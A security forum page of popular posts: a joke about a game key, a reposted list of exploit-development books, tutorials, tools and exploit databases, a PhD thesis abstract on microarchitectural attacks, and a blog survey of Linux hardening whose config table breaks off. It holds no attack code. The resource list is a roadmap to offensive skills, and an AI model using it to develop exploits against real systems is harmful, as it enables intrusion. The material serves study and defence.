Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 03/07/19 in all areas

  1. Pula mea, eu am luat key dar ca joc e RAMA aka SNAKE din 1935, din perioada interbelica si eu ma asteptam la God of War 8
    1 point
  2. L-am pus aici ca in bookmarks nu prea le gasesc. Sursa: http://www.pentest.guru/index.php/2016/01/28/best-books-tutorials-and-courses-to-learn-about-exploit-development/ The best resources for learning exploit development Exploit development is considered to be the climax in the learning path of an ethical hacker or security professional. It is strongly advisable to have mastered the basics before delving into this topic. Exploit development is hard and it’s not something you learn at school or university (usually), not something any of your geek friends will talk about all day long. Only those who are brave to study hard can achieve the joy of controlling the EIP, popping a shell and taking control of a machine while the oblivious user yells at Microsoft for the nth crash of his beloved program. What are the prerequisites for learning about exploit development? Well, if you want to comprehend and hopefully start developing your own exploits you should have at least a basic knowledge of x86/64 bit system architecture (Windows, Linux or Mac according to your target), low level programming, possibly assembly, C/C++ or Python is fine as well for many tasks, then you should have in mind how the computer memory works (RAM), the concept of stack, heap, CPU registers, the most common operations, system calls, segmentation fault, buffer overflow, race condition and so on. You also should be familiar with disassemblers and a background in reverse engineering or malware analysis may be useful before starting to develop your own exploits. Let’s see some resources that can help you to be prepared before attempting the big jump onto the high level world of exploit development, the Olympus of the Godly Hackers. x86/64 bit system architecture: Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration Introductory Intel x86-64: Architecture, Assembly, Applications, & Alliteration Intermediate Intel x86: Architecture, Assembly, Applications, & Alliteration Assembly language: http://www.drpaulcarter.com/pcasm/ Assembly Language Step-by-Step: Programming with Linux The Art of Assembly Language Windows Assembly Language Megaprimer Assembly Language Megaprimer for Linux C/C++: C Programming Absolute Beginner’s Guide The C Programming Language Introduction to Computer Science CS50x Programming: Principles and Practice Using C++ C++ Primer Accelerated C++: Practical Programming by Example Python: Python has a wonderful official documentation, apart from that you can use the following books/courses: Learn Python the hard way How to think like a computer scientist Learning Python Introduction to computer science and programming using Python MITx 6.00.1x When you feel comfortable with the prerequisites, then you can start learning exploit developmentfollowing these great resources! I compiled a list of books, tutorials, courses, tools and vulnerable applications that you can use for your study. BOOKS Hacking – The art of exploitation A bug Hunter’s Diary: A Guided Tour Through the Wilds of Software Security The Shellcoder’s Handbook: Discovering and Exploiting Security Holes Sockets, shellcode, Porting, and coding: reverse engineering Exploits and Tool coding for security professionals Writing Security tools and Exploits Buffer overflow attacks: Detect, exploit, Prevent Metasploit toolkit for Penetration Testing, exploit Development, and vulnerability research TUTORIALS Corelan.be https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/ https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/ https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/ https://www.corelan.be/index.php/2009/09/05/exploit-writing-tutorial-part-5-how-debugger-modules-plugins-can-speed-up-basic-exploit-development/ https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/ https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/ https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/ https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/ https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/ https://www.corelan.be/index.php/2010/03/22/ken-ward-zipper-exploit-write-up-on-abysssec-com/ https://www.corelan.be/index.php/2010/03/27/exploiting-ken-ward-zipper-taking-advantage-of-payload-conversion/ https://www.corelan.be/index.php/2011/01/30/hack-notes-rop-retnoffset-and-impact-on-stack-setup/ https://www.corelan.be/index.php/2011/05/12/hack-notes-ropping-eggs-for-breakfast/ https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/ https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/ https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/ https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/ https://www.corelan.be/index.php/2013/01/18/heap-layout-visualization-with-mona-py-and-windbg/ https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/ https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/ Opensecuritytraining.info http://opensecuritytraining.info/Exploits1.html http://opensecuritytraining.info/Exploits2.html Securitytube.net http://www.securitytube.net/groups?operation=view&groupId=7 exploit research megaprimer http://www.securitytube.net/groups?operation=view&groupId=4 buffer overflow exploitation for linux megaprimer http://www.securitytube.net/groups?operation=view&groupId=3 Format string vulnerabilities megaprimer Massimiliano Tomassoli’s blog http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/ Samsclass.info https://samsclass.info/127/127_F15.shtml Securitysift.com http://www.securitysift.com/windows-exploit-development-part-1-basics/ http://www.securitysift.com/windows-exploit-development-part-2-intro-stack-overflow/ http://www.securitysift.com/windows-exploit-development-part-3-changing-offsets-and-rebased-modules/ http://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/ http://www.securitysift.com/windows-exploit-development-part-5-locating-shellcode-egghunting http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits http://www.securitysift.com/windows-exploit-development-part-7-unicode-buffer-overflows Justbeck.com http://www.justbeck.com/getting-started-in-exploit-development/ 0xdabbad00.com http://0xdabbad00.com/2012/12/09/hurdles-for-a-beginner-to-exploit-a-simple-vulnerability-on-modern-windows/ fuzzysecurity.com Part 1: Introduction to Exploit Development Part 2: Saved Return Pointer Overflows Part 3: Structured Exception Handler (SEH) Part 4: Egg Hunters Part 5: Unicode 0x00410041 Part 6: Writing W32 shellcode Part 7: Return Oriented Programming Part 8: Spraying the Heap [Chapter 1: Vanilla EIP] Part 9: Spraying the Heap [Chapter 2: Use-After-Free] sploitfun.wordpress.com https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/ sneakerhax.com http://sneakerhax.com/jumping-into-exploit-development/ community.rapid7.com https://community.rapid7.com/community/metasploit/blog/2012/07/05/part-1-metasploit-module-development–the-series resources.infosecinstitute.com http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/ rafayhackingarticles.net http://www.rafayhackingarticles.net/2011/07/from-minor-bug-to-zero-day-exploit.html Smashing the stack for fun and for profit: revived Automating format string exploits IT-Sec catalog 2.0 (Exploit development) by Arthur Gerkis NCCGroup.trust https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/ Desc0n0cid0.blogspot.it https://desc0n0cid0.blogspot.it/2016/09/stack-based-buffer-overflow.html https://desc0n0cid0.blogspot.it/2016/09/stack-based-buffer-overflow_28.html https://desc0n0cid0.blogspot.it/2016/09/stack-based-buffer-overflow_29.html https://desc0n0cid0.blogspot.it/2016/10/part-4-stack-based-buffer-overflow.html Stack Based Overflow Articles. Win32 Buffer Overflows (Location, Exploitation and Prevention) – by Dark spyrit [1999] Writing Stack Based Overflows on Windows – by Nish Bhalla’s [2005] Heap Based Overflow Articles. Third Generation Exploitation smashing heap on 2k – by Halvar Flake [2002] Exploiting the MSRPC Heap Overflow Part 1 – by Dave Aitel (MS03-026) [September 2003] Exploiting the MSRPC Heap Overflow Part 2 – by Dave Aitel (MS03-026) [September 2003] Windows heap overflow penetration in black hat – by David Litchfield [2004] Kernel Based Exploit Development Articles. How to attack kernel based vulns on windows was done – by a Polish group called “sec-labs” [2003] Sec-lab old whitepaper Sec-lab old exploit Windows Local Kernel Exploitation (based on sec-lab research) – by S.K Chong [2004] How to exploit Windows kernel memory pool – by SoBeIt [2005] Exploiting remote kernel overflows in windows – by Eeye Security Kernel-mode Payloads on Windows in uninformed – by Matt Miller Exploiting 802.11 Wireless Driver Vulnerabilities on Windows BH US 2007 Attacking the Windows Kernel Remote and Local Exploitation of Network Drivers Exploiting Comon Flaws In Drivers I2OMGMT Driver Impersonation Attack Real World Kernel Pool Exploitation Exploit for windows 2k3 and 2k8 Alyzing local privilege escalations in win32k Intro to Windows Kernel Security Development There’s a party at ring0 and you’re invited Windows kernel vulnerability exploitation Windows memory protections Introduction Articles. Data Execution Prevention /GS (Buffer Security Check) /SAFESEH ASLR SEHOP Windows memory protections Bypass Methods Articles. Third Generation Exploitation smashing heap on 2k – by Halvar Flake [2002] Creating Arbitrary Shellcode In Unicode Expanded Strings – by Chris Anley Advanced windows exploitation – by Dave Aitel [2003] Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server – by David Litchfield Reliable heap exploits and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2) – by Matt Conover in cansecwest 2004 Safely Searching Process Virtual Address Space – by Matt Miller [2004] IE exploit and used a technology called Heap Spray Bypassing hardware-enforced DEP – by Skape (Matt Miller) and Skywing (Ken Johnson) [October 2005] Exploiting Freelist[0] On XP Service Pack 2 – by Brett Moore [2005] Kernel-mode Payloads on Windows in uninformed Exploiting 802.11 Wireless Driver Vulnerabilities on Windows Exploiting Comon Flaws In Drivers Heap Feng Shui in JavaScript by Alexander sotirov [2007] Understanding and bypassing Windows Heap Protection – by Nicolas Waisman [2007] Heaps About Heaps – by Brett moore [2008] Bypassing browser memory protections in Windows Vista – by Mark Dowd and Alex Sotirov [2008] Attacking the Vista Heap – by ben hawkes [2008] Return oriented programming Exploitation without Code Injection – by Hovav Shacham (and others ) [2008] Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 – by Cesar Cerrudo [2008] Defeating DEP Immunity Way – by Pablo Sole [2008] Practical Windows XP2003 Heap Exploitation – by John McDonald and Chris Valasek [2009] Bypassing SEHOP – by Stefan Le Berre Damien Cauquil [2009] Interpreter Exploitation : Pointer Inference and JIT Spraying – by Dionysus Blazakis[2010] Write-up of Pwn2Own 2010 – by Peter Vreugdenhil All in one 0day presented in rootedCON – by Ruben Santamarta [2010] DEP/ASLR bypass using 3rd party – by Shahin Ramezany [2013] Typical windows exploits Real-world HW-DEP bypass Exploit – by Devcode Bypassing DEP by returning into HeapCreate – by Toto First public ASLR bypass exploit by using partial overwrite – by Skape Heap spray and bypassing DEP – by Skylined First public exploit that used ROP for bypassing DEP in adobe lib TIFF vulnerability Exploit codes of bypassing browsers memory protections PoC’s on Tokken TokenKidnapping . PoC for 2k3 -part 1 – by Cesar Cerrudo PoC’s on Tokken TokenKidnapping . PoC for 2k8 -part 2 – by Cesar Cerrudo An exploit works from win 3.1 to win 7 – by Tavis Ormandy KiTra0d Old ms08-067 metasploit module multi-target and DEP bypass PHP 6.0 Dev str_transliterate() Buffer overflow – NX + ASLR Bypass SMBv2 Exploit – by Stephen Fewer TRAININGS Opensecuritytraining.info http://opensecuritytraining.info/Exploits1.html http://opensecuritytraining.info/Exploits2.html Module 12 of Advanced penetration testing cource on Cybrary.it https://www.cybrary.it/course/advanced-penetration-testing/ Securitytube.net http://www.securitytube.net/groups?operation=view&groupId=7 research megaprimer http://www.securitytube.net/groups?operation=view&groupId=4 exploitation for linux megaprimer http://www.securitytube.net/groups?operation=view&groupId=3 Format string vulnerabilities megaprimer infiniteskills.com http://www.infiniteskills.com/training/reverse-engineering-and-exploit-development.html COURSES Corelan https://www.corelan-training.com Offensive Security https://www.offensive-security.com/information-security-training/advanced-windows-exploitation/ AWE (Advanced Windows Exploitation) SANS https://www.sans.org/course/advance-exploit-development-pentetration-testers SANS SEC760: Advanced Exploit Development for Penetration Testers Ptrace Security http://www.ptrace-security.com/training/courses/advanced-software-exploitation/ Advanced Software Exploitation Udemy https://www.udemy.com/windows-exploit-development-megaprimer/learn/#/Windows exploit Development Megaprimer by Ajin Abraham VIDEOS LiveOverflow Youtube channel TOOLS IDA Pro – Windows disassembler and debugger, with a free evaluation version. OllyDbg – An assembly-level debugger for Windows executables. WinDbg – Windows debugger Mona.py – Immunity debugger helper angr – Platform-agnostic binary analysis framework developed at UCSB’s Seclab. BARF – Multiplatform, open source Binary Analysis and Reverse engineering Framework. binnavi – Binary analysis IDE for reverse engineering based on graph visualization. Bokken – GUI for Pyew and Radare. Capstone – Disassembly framework for binary analysis and reversing, with support for many architectures and bindings in several languages. codebro – Web based code browser using clang to provide basic code analysis. dnSpy – .NET assembly editor, decompiler and debugger. Evan’s Debugger (EDB) – A modular debugger with a Qt GUI. GDB – The GNU debugger. GEF – GDB Enhanced Features, for exploiters and reverse engineers. hackers-grep – A utility to search for strings in PE executables including imports, exports, and debug symbols. Immunity Debugger – Debugger for malware analysis and more, with a Python API. ltrace – Dynamic analysis for Linux executables. objdump – Part of GNU binutils, for static analysis of Linux binaries. PANDA – Platform for Architecture-Neutral Dynamic Analysis PEDA – Python Exploit Development Assistance for GDB, an enhanced display with added commands. pestudio – Perform static analysis of Windows executables. Process Monitor – Advanced monitoring tool for Windows programs. Pyew – Python tool for malware analysis. Radare2 – Reverse engineering framework, with debugger support. SMRT – Sublime Malware Research Tool, a plugin for Sublime 3 to aid with malware analyis. strace – Dynamic analysis for Linux executables. Udis86 – Disassembler library and tool for x86 and x86_64. Vivisect – Python tool for malware analysis. X64dbg – An open-source x64/x32 debugger for windows. afl – American Fuzzy Lop fuzzer gef – enhanced gdb debugger honggfuzz – general purpose fuzzer libheap – python gdb library for examining glibc heap (ptmalloc) pwndbg – enhanced gdb framework for exploit development pwntools – exploit development and CTF toolkit qira – parallel, timeless debugger ropper – rop gadget finder rp++ – rop gadget finder xrop – rop gadget finder shellnoob – shellcode writing helper shellsploit – exploit development toolkitSploitKit – a suite of cli tools to automate the tedious parts of exploit development ROP Injector – rop injector HEAP EXPLOITATION TECHNIQUES https://github.com/shellphish/how2heap VULNERABLE APPLICATIONS Exploit-exercises.com https://exploit-exercises.com/protostar/ Protostar https://exploit-exercises.com/fusion/ Fusion StackSmash – A collection of toy programs for teaching buffer overflow vulnerabilities CTF-Workshop – challenges for binary exploitation workshop28 hacking sites to practise your skills in a legal wayhttps://www.peerlyst.com/blog-post/practise-your-infosec-skill-on-these-legal-28-hacking-sites EXPLOITS DATABASE https://www.exploit-db.com https://www.milw00rm.com http://0day.today https://packetstormsecurity.com http://www.securityfocus.com http://www.windowsexploits.com http://iedb.ir http://www.macexploit.com COLLABORATE! Do you have other fantastic resources to share that could be part of this list? Then check out my projecton Github and send me a pull request!
    1 point
  3. Daniel Gruss Software-based Microarchitectural Attacks PhD Thesis Assessors: Stefan Mangard, Thorsten Holz June 2017 Modern processors are highly optimized systems where every single cycle ofcomputation time matters. Many optimizations depend on the data that isbeing processed. Software-based microarchitectural attacks exploit effectsof these optimizations. Microarchitectural side-channel attacks leak secretsfrom cryptographic computations, from general purpose computations, orfrom the kernel. This leakage even persists across all common isolationboundaries, such as processes, containers, and virtual machines.Microarchitectural fault attacks exploit the physical imperfections ofmodern computer systems. Shrinking process technology introduces effectsbetween isolated hardware elements that can be exploited by attackers totake control of the entire system. These attacks are especially interestingin scenarios where the attacker is unprivileged or even sandboxed.In this thesis, we focus on microarchitectural attacks and defenses oncommodity systems. We investigate known and new side channels andshow that microarchitectural attacks can be fully automated. Further-more, we show that these attacks can be mounted in highly restrictedenvironments such as sandboxed JavaScript code in websites. We showthat microarchitectural attacks exist on any modern computer system,including mobile devices (e.g., smartphones), personal computers, andcommercial cloud systems.This thesis consists of two parts. In the first part, we provide backgroundon modern processor architectures and discuss state-of-the-art attacksand defenses in the area of microarchitectural side-channel attacks andmicroarchitectural fault attacks. In the second part, a selection of ourpapers are provided without modification from their original publications.1I have co-authored these papers, which have subsequently been anony-mously peer-reviewed, accepted, and presented at renowned internationalconferences Download: https://gruss.cc/files/phd_thesis.pdf
    1 point
  4. Millions of Binaries Later: a Look Into Linux Hardening in the Wild February 28, 2019 By Theofilos Petsios TL;DR In this post, we explore the adoption of Linux hardening schemes across five popular distributions by examining their out-of-the-box properties. For each distribution, we analyzed its default kernel configuration, downloaded all its packages, and analyzed the hardening schemes of their enclosed binaries. Our dataset includes the OpenSUSE 12.4, Debian 9, CentOS and RHEL 6.10 & 7 distributions, as well as the Ubuntu 14.04, 12.04, and 18.04 LTS distributions. Our findings confirm that even basic hardening schemes, such as stack canaries and position independent code, are not fully adopted. The situation is even worse when it comes to other compiler protections like stack clash hardening, which recently came into the spotlight due to last month’s systemd vulnerabilities. However, not all is hopeless. A good portion of shipped binaries have basic mitigations in place, and the numbers have improved from version to version. Our experiments indicate that Ubuntu 18.04 shows the largest adoption of OS and application-level mitigations, followed by Debian 9. On the other hand, OpenSUSE 12.4, CentOS 7 and RHEL 7 also deploy common hardening schemes, and show wider adoption stack-clash mitigations while shipping a much more tight-knit set of packages by default. Introduction Shipping quality software is hard. Despite the vast numbers of sophisticated static and dynamic analysis1 toolchains, and the significant compiler and programming language developments of the past years, modern software is still plagued with vulnerabilities that are constantly exploited by attackers for profit. The situation is even worse when it comes to complex and rapidly changing software ecosystems that involve legacy code. In such cases, not only are we faced with the everlasting problem of finding possibly exploitable bugs, but we also are constrained by the hard limits of backwards-compatibility, which often dictate that we are stuck with a piece of code that is known to have limitations, or even worse, be vulnerable or buggy. This is where hardening techniques come into play. Since we cannot prevent certain types of bugs, we might as well make the attacker’s life harder, and work around the problem by preventing or hindering the exploitation of these bugs. Such software hardening defenses are currently deployed in all modern operating systems, however vary greatly in complexity, effectiveness an overhead: from stack canaries and ASLR to full-fledged CFI and ROP defenses, hardening schemes are not all designed, implemented, or used equally. In this blog post, we will take a deep look into the adoption of such defenses by the most popular Linux distributions, examining their default kernel configurations as well as the properties of the binaries distributed through the package management systems of each distribution. CVEs vs Security We all have seen articles bearing titles such as “most vulnerable applications of the year” or “most vulnerable operating systems”. Usually, these articles present statistics on Common Vulnerability and Exposures (CVE) entries, aggregated from sources like NIST’s National Vulnerability Database (NVD) and subsequently rank the compared applications or OSes based on the numbers of CVEs that have been published. Unfortunately, although very useful for keeping track of issues and informing vendors and users alike, CVEs alone do not tell us much about the underlying security properties of software. To make this clearer, let us examine the total number of CVEs published over the past four years for the Linux Kernel, as well as for five of the most popular server-oriented Linux distributions, namely Ubuntu, Debian, Red Hat Enterprise Linux, and OpenSUSE. Figure 1 What do we learn from the graph above? Is the number of CVEs per distribution indicative of the fact that one distribution might be more vulnerable than another? The answer is no. For instance, as you will see in this post, empirical evidence suggests that Debian has more hardening mechanisms in place compared to say, OpenSUSE or RedHat Linux, and yet it has the most CVEs. However, these CVEs do not necessarily denote weakened security: even in the presence of a CVE, it is not directly obvious if a vulnerability is exploitable. Severity score assignments do provide an indication of how likely a vulnerability is to be exploited but, at the end of the day, exploitability depends largely on the defenses present in the affected systems, as well as on attackers’ resources and capabilities. Moreover, the absence of CVE reports does not tell us anything about other unreported or unknown vulnerabilities that may be lurking, and differences in numbers may exist not because of differences in software quality but due to other factors, including the resources allocated to testing or the size of the user base. For our Debian example, the higher number of CVEs may simply indicate that Debian ships more software packages. That said, it goes without saying that the CVE enumeration system provides us with useful information that enables us to build appropriate defenses: the better we understand how software fails, the more likely we are to pinpoint the possible ways attackers might exploit it, and design the appropriate detection and response mechanisms to defend against them. To this end, let us examine, in Figure 2, the categories (in aggregate, across all distributions) for the CVEs of Figure 1 (sourced from here) over the last 4 years. It is immediately obvious that the majority of the CVEs reported over the past years fall into the following categories (as defined by the cvedetails categorization😞 Denial of Service (DoS), Code Execution, Overflow, Memory Corruption, Information Exfiltration, and Privilege Escalation. Although many of the CVEs are counted multiple times across various categories, we notice that overall, the same core problems persist year-to-year. In the following of this post, we will evaluate the adoption of different hardening schemes that are deployed by mainstream Linux distributions to prevent exploitation of the above vulnerabilities. Figure 2 Goals With this survey, we set out to answer the following questions: What are the security properties of different Linux distributions? What hardening defenses are in place when it comes to the kernel, and for user-space applications? How has the adoption of hardening mechanisms changed over time for different distributions? What are the average package and library dependencies for each distribution? What hardening defenses are in place for each binary? Distribution Selection It turns out that finding accurate statistics on adoption and deployment of different distributions is not trivial, since in most cases the number of downloads is not indicative of the number of real deployments. That said, UNIX variants represent the majority when it comes to server/infrastructure deployments, with Linux variants having a continuously growing market share2. Thus for our study, we focused on the different Linux distributions that are available out-of-the box in Google’s Cloud Platform (GCP). In particular, the Operating Systems we selected in our study were: Distribution / Release Kernel Build OpenSUSE 12.4 4.12.14-95.3-default #1 SMP Wed Dec 5 06:00:48 UTC 2018 (63a8d29) Debian 9 (stretch) 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) CentOS 6.10 2.6.32-754.10.1.el6.x86_64 #1 SMP Tue Jan 15 17:07:28 UTC 2019 CentOS 7 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 Red Hat Enterprise Linux Server 6.10 (Santiago) 2.6.32-754.9.1.el6.x86_64 #1 SMP Wed Nov 21 15:08:21 EST 2018 Red Hat Enterprise Linux Server 7.6 (Maipo) 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 15 17:36:42 UTC 2018 Ubuntu 14.04 (Trusty Tahr) 4.4.0–140-generic #166~14.04.1-Ubuntu SMP Sat Nov 17 01:52:43 UTC 20… Ubuntu 16.04 (Xenial Xerus) 4.15.0–1026-gcp #27~16.04.1-Ubuntu SMP Fri Dec 7 09:59:47 UTC 2018 Ubuntu 18.04 (Bionic Beaver) 4.15.0–1026-gcp #27-Ubuntu SMP Thu Dec 6 18:27:01 UTC 2018 Table 1 Analysis In order for us to analyze the hardening defenses deployed by the different OSes outlined above, we examine their vanilla kernel configuration, as well as the properties of the packages that are available through each distribution’s package manager out-of-the-box. Thus, we only examined packages available from each distribution’s default mirrors, and omitted packages available from non-stable repositories (e.g., ‘testing’ mirrors in Debian) or third-party packages (e.g., NVIDIA packages available through non-default mirrors). Also, we did not consider custom kernel compilations or configurations that offer increased hardening. Kernel Configuration Analysis Using our analysis script based off an open-source kconfig checker, we examined the hardening config options that came out-of-the-box with the above distributions, and compared them against the list published by the Kernel Self Protection Project (KSPP). For each kernel hardening configuration option, Table 2 outlines the desired setting, and has a checkmark for all the distributions that conformed to the KSSP recommendation3. Kernel Configuration Setting Desired Value SLES Debian 9 CentOS 6.10 CentOS 7 RHEL 6.10 RHEL 7.6 Ubuntu 14.04 Ubuntu 16.04 Ubuntu 18.04 Significance X86_SMAP y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STRICT_KERNEL_RWX y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical RANDOMIZE_BASE y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical RANDOMIZE_MEMORY y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STACKPROTECTOR_STRONG y ✔️ ✔️ ✔️ ✔️ ✔️ Critical HARDENED_USERCOPY y ✔️ ✔️ ✔️ ✔️ ✔️ Critical LOCK_DOWN_KERNEL y ✔️ ✔️ ✔️ Critical STRICT_MODULE_RWX y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical SECURITY y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical SECCOMP y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical STRICT_DEVMEM y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical DEVKMEM not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Critical X86_INTEL_UMIP y ✔️ ✔️ ✔️ ✔️ High VMAP_STACK y ✔️ ✔️ ✔️ ✔️ High SLAB_FREELIST_HARDENED y ✔️ ✔️ High SLAB_FREELIST_RANDOM y ✔️ ✔️ ✔️ ✔️ High FORTIFY_SOURCE y ✔️ ✔️ High BUG_ON_DATA_CORRUPTION y High HARDENED_USERCOPY_FALLBACK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High SECURITY_DMESG_RESTRICT y ✔️ ✔️ High SECURITY_YAMA y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High SECURITY_SELINUX_DISABLE not set ✔️ ✔️ ✔️ High SECCOMP_FILTER y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High ACPI_CUSTOM_METHOD not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High COMPAT_BRK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High IO_STRICT_DEVMEM y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High LEGACY_VSYSCALL_NONE y High USERFAULTFD not set ✔️ ✔️ High LIVEPATCH not set ✔️ ✔️ High BPF_JIT not set ✔️ ✔️ High PAGE_TABLE_ISOLATION y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High RETPOLINE y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High X86_64 y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High DEBUG_WX y ✔️ ✔️ ✔️ High SCHED_STACK_END_CHECK y ✔️ ✔️ ✔️ ✔️ ✔️ High MODULE_SIG y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High REFCOUNT_FULL y High STATIC_USERMODEHELPER y High COMPAT_VDSO not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ High BINFMT_MISC not set High PROC_KCORE not set High MODIFY_LDT_SYSCALL not set ✔️ ✔️ ✔️ ✔️ High KPROBES not set High UPROBES not set ✔️ ✔️ High DEBUG_FS not set High BPF_SYSCALL not set ✔️ ✔️ High USER_NS not set High FTRACE not set High ARCH_MMAP_RND_BITS 32 High BUG y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium THREAD_INFO_IN_TASK y ✔️ ✔️ ✔️ ✔️ Medium MODULE_SIG_ALL y ✔️ ✔️ ✔️ ✔️ ✔️ Medium PAGE_POISONING y ✔️ Medium GCC_PLUGIN_RANDSTRUCT y Medium HIBERNATION not set Medium PROC_VMCORE not set Medium HWPOISON_INJECT not set Medium SLUB_DEBUG y ✔️ ✔️ ✔️ ✔️ ✔️ Medium SYN_COOKIES y ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEFAULT_MMAP_MIN_ADDR 65536 ✔️ ✔️ ✔️ ✔️ ✔️ Medium GCC_PLUGIN_LATENT_ENTROPY y Medium DEBUG_LIST y ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEBUG_CREDENTIALS y Medium MODULE_SIG_FORCE y Medium GCC_PLUGIN_STACKLEAK y Medium SECURITY_LOADPIN y Medium PAGE_POISONING_NO_SANITY not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium PAGE_POISONING_ZERO not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium SLAB_MERGE_DEFAULT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium X86_PTDUMP not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium DEBUG_KMEMLEAK not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Medium KEXEC not set Medium LEGACY_PTYS not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium IA32_EMULATION not set Medium PROC_PAGE_MONITOR not set Medium GCC_PLUGIN_STRUCTLEAK y Medium GCC_PLUGIN_STRUCTLEAK_BYREF_ALL y Medium DEBUG_SG y Medium SLUB_DEBUG_ON y Medium INET_DIAG not set Medium X86_X32 not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium USELIB not set ✔️ ✔️ ✔️ ✔️ Medium CHECKPOINT_RESTORE not set ✔️ ✔️ Medium MEM_SOFT_DIRTY not set ✔️ ✔️ Medium MMIOTRACE not set ✔️ ✔️ ✔️ ✔️ ✔️ Medium KEXEC_FILE not set ✔️ ✔️ Medium DEBUG_NOTIFIERS y Low ZSMALLOC_STAT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low PAGE_OWNER not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low BINFMT_AOUT not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low IP_DCCP not set ✔️ Low IP_SCTP not set Low DEVPORT not set Low NOTIFIER_ERROR_INJECTION not set ✔️ ✔️ ✔️ ✔️ ✔️ Low ACPI_TABLE_UPGRADE not set ✔️ ✔️ ✔️ ✔️ ✔️ Low ACPI_APEI_EINJ not set ✔️ Low PROFILING not set Low GCC_PLUGINS y Low MMIOTRACE_TEST not set ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ ✔️ Low MODULE_SIG_SHA512 y ✔️ ✔️ ✔️ Low Total SLES Debian 9 CentOS 6.10 CentOS 7 RHEL 6.10 RHEL 7.6 Ubuntu 